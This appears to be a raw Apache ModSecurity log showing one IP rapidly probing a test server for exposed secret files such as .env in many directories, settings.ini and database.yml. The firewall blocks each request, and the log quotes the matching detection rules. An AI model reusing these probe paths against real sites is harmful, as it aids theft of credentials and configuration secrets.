[Thu Feb 26 01:02:45.971054 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ-NpQ3HqGC30X9HPoEkPAAAAAM&quot;]
[Thu Feb 26 01:02:45.997812 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHYwAAAAQ&quot;]
[Thu Feb 26 01:02:45.998049 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHYwAAAAQ&quot;]
[Thu Feb 26 01:02:45.998228 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ-NpTf0JOOqB-ib2UlHYwAAAAQ&quot;]
[Thu Feb 26 01:02:46.008452 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPQAAAAM&quot;]
[Thu Feb 26 01:02:46.008722 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPQAAAAM&quot;]
[Thu Feb 26 01:02:46.008887 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPQAAAAM&quot;]
[Thu Feb 26 01:02:46.050681 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPgAAAAM&quot;]
[Thu Feb 26 01:02:46.050936 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPgAAAAM&quot;]
[Thu Feb 26 01:02:46.051088 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPgAAAAM&quot;]
[Thu Feb 26 01:02:46.061354 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ-Npjf0JOOqB-ib2UlHZAAAAAQ&quot;]
[Thu Feb 26 01:02:46.061570 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ-Npjf0JOOqB-ib2UlHZAAAAAQ&quot;]
[Thu Feb 26 01:02:46.061721 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ-Npjf0JOOqB-ib2UlHZAAAAAQ&quot;]
[Thu Feb 26 01:02:46.085130 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPwAAAAM&quot;]
[Thu Feb 26 01:02:46.085347 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPwAAAAM&quot;]
[Thu Feb 26 01:02:46.085489 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkPwAAAAM&quot;]
[Thu Feb 26 01:02:46.217935 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkwAAAAAI&quot;]
[Thu Feb 26 01:02:46.218191 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkwAAAAAI&quot;]
[Thu Feb 26 01:02:46.218360 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkwAAAAAI&quot;]
[Thu Feb 26 01:02:46.245190 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkwQAAAAI&quot;]
[Thu Feb 26 01:02:46.245397 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkwQAAAAI&quot;]
[Thu Feb 26 01:02:46.245540 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkwQAAAAI&quot;]
[Thu Feb 26 01:02:46.342184 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxAAAAAI&quot;]
[Thu Feb 26 01:02:46.342734 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxAAAAAI&quot;]
[Thu Feb 26 01:02:46.342903 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/settings.ini&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxAAAAAI&quot;]
[Thu Feb 26 01:02:46.380907 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxQAAAAI&quot;]
[Thu Feb 26 01:02:46.381169 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxQAAAAI&quot;]
[Thu Feb 26 01:02:46.381342 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxQAAAAI&quot;]
[Thu Feb 26 01:02:46.453626 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxgAAAAI&quot;]
[Thu Feb 26 01:02:46.453944 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxgAAAAI&quot;]
[Thu Feb 26 01:02:46.454130 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ-NpoCbt-ue5ARpbmjkxgAAAAI&quot;]
[Thu Feb 26 01:02:46.456620 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSAAAAAM&quot;]
[Thu Feb 26 01:02:46.456866 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aZ-Npg3HqGC30X9HPoEkSAAAAAM&quot;]
